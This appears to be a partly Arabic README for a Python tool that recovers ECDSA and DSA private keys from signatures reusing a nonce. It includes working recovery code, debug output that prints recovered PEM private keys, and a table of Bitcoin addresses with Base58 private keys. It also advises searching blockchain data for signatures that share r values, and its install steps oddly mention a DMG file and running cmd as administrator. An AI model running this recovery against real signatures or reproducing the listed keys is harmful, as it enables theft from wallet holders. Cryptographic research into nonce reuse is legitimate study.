yadyvazifeh1oz92/ecdsa-private-key-recoveryتنفيذ هجمات استعادة المفتاح الخاص عبر إعادة استخدام nonce في خوارزميتي ECDSA وDSA لتحليل ثغرات التوقيع واستعادة المفاتيح الخاصة من توقيعات البلوكشين.
تنفيذ هجمات استرداد المفتاح الخاص عبر إعادة استخدام Nonce في ECDSA و DSA
أداة بحث تشفيرية لتحليل ثغرات التوقيعات
لنسترد المفتاح الخاص لتوقيعين يتشاركان نفس nonce k. لاحظ كيف أن اختيار نفس nonce k يؤدي إلى أن يكون لكلا التوقيعين قيمة توقيع r متطابقة. للعثور على مرشحين جيدين لإعادة استخدام nonce في ECDSA، ابحث عن توقيعات تتشارك نفس r و pubkey على curve لرسائل (أو تجزئات) مختلفة. على سبيل المثال، مشاريع البلوكشين المبنية على bitcoind عادة ما تكون مصادر جيدة لمواد توقيع ECDSA.
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # same privkey as sampleA, identical r due to nonce reuse k.
# recover the private key
sampleA.recover_nonce_reuse(sampleB) # populates sampleA with the recovered private key ready for use
print sampleA.privkey
التعليمات التالية مخصصة لنظامي Windows و Linux؛ مستخدمو macOS لديهم ملف DMG.
تحقق من تثبيت Git و Python على نظامك.
قم بتنزيل Git لنظام Windows:
قم بتنزيل Python لنظام Windows (مباشر):
أخيرًا، قم بتشغيل cmd كمسؤول.
git clone https://github.com/yadyvazifeh1oz92/ecdsa-private-key-recovery.git
cd ecdsa-private-key-recovery
py -m pip install -r requirements.txt
py setup.py install
Python 2.x:
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py
Python 3.x:
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py
| BTC Address | Base58 Privkey | r |
|---|---|---|
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 113563387324078878147267949860139475116142082788494055785668341901521289846519 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 18380471981355278106073484610981598768079378179376623360720556873242139981984 |
| 1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W | 5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw | 19682383735358733565748628081379024202682929012377912380310432818686294127462 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 6828441658514710620715231245132541628903431519484374098968817647395811175535 |
إنشاء كائنات توقيع قابلة للاسترداد:
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex
# specify curve
curve = ecdsa.SECP256k1
# create standard ecdsa pubkey object from hex-encoded string
pub = ecdsa.VerifyingKey.from_string(
bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
# create sampleA and sampleB recoverable signature objects.
# long r, long s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
bytes_fromhex(bignum_to_hex(
765305792208265383632692154455217324493836948492122104105982244897804317926)),
pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
bytes_fromhex(bignum_to_hex(
23350593486085962838556474743103510803442242293209938584974526279226240784097)),
pub)
# key not yet recovered
assert (sampleA.x is None)
استرداد المفتاح الخاص لـ sampleA
# attempt to recover key - this updated object sampleA
sampleA.recover_nonce_reuse(sampleB) # recover privatekey shared with sampleB
assert (sampleA.x is not None) # assert privkey recovery succeeded. This gives us a ready to use ECDSA privkey object
assert sampleA.privkey
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
INFO:__main__:------------DSA------------
DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (962114315288785318297754502373467834746102876259L, 152066227943132308247866282041325280216845090990L), <_DSAobj @0x2c49a80 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (962114315288785318297754502373467834746102876259L, 357089477795349418794190243474458899186606359757L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signature Objects: [<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ >, <DsaSignature 0x2c7a3f sig=(9621143152…,3570894777…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ > - recovering privatekey from nonce reuse...
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=✔ > - Private key recovered!
-----BEGIN PRIVATE KEY-----
MIIBSgIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAA8tZboZpqrRAwKtK0
mXxwct7Es1BBih3HheeLBMOHCqPlwJmfUA8kBZQZzu3V+at5IWlRi0fTikvNWuqN
GLqMkf0kqXOhzP8/hD7B/CUF1YedzGKqC2BfhX/RON+CD/mFi35As8G73O29GCUl
qMd0KYhHHtBvVPiLAhUA/5r9a94k/9/mHVub1U0WrAJv2B8CgYARyESPcKSpBEoT
nXlMrX1M71RySJL5nrqUKpFTFRSoIwX5sj7ZRfKSqbf2umwSu8LfCEOZ2qKu0+jp
+bUC0oihSjaVCrADZykPr67k9mt56xx1wP4vUJJNfM3Wkty5xsI3JtUFbQ5EzFAt
JhLRWxOqcGEm35ZPQ4ao1qZsIsSVCQQWAhRqVNUTHGUaRRA5lXlmN4sw9glosQ==
-----END PRIVATE KEY-----
DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (921214889680762780870505834724573810649257487648L, 1206590109737383111438209532388130932310558452933L), <_DSAobj @0x2c78cd8 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (921214889680762780870505834724573810649257487648L, 254170456806936279470958328275930254179957847437L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signature Objects: [<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ >, <DsaSignature 0x2c7a61 sig=(9212148896…,2541704568…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ > - recovering privatekey from nonce reuse...
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=✔ > - Private key recovered!
-----BEGIN PRIVATE KEY-----
MIIBSwIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAARApDBH1CEeZPeIM9
mMb6l3FyY8+AOy+cdiDzCaqlkIRVIRRxvnCH5oJ6gkinosGscZMTgF7IwQJzDHFm
oxvVdpACrj5Je+kpF6djefAbe+ByZ4FowkGq1EdMZF8aZzsik3CFkEA/vDsjvAsg
XmKRvOnFHkkFuKCRAhUA/+rcmBQ71NBsDzkbusi6NQpTNF8CgYAFVt8xSXTiCGn8
+bqWyoX+gjItArrT28o6fGnq+apjwasvWDHq1FETk/gwqTbTwWTiMo2eOTImRKDF
MbK1us+DjhloAUuhL6nCRQhsLs4Jq+8A/y7aol/HjCz1fHRKKDD9wqKDf2kWdI97
Kb2Hq4AUoJWTCT0ijX+oQJafbywjdwQXAhUAniK/kyRv/SFd1uJjuDMh0EntMws=
-----END PRIVATE KEY-----
المكتبة مكتوبة بطريقة تحاول ترقية كائنات ecdsa ذات المفتاح العام فقط إلى كائنات ecdsa مفعّلة بالمفتاح الخاص عند نجاح الاسترداد. وهذا يجعل من السهل العمل مع كائنات المفاتيح المستردة. تقوم المكتبة بتنفيذ استرداد المفاتيح لكل من ECDSA و DSA.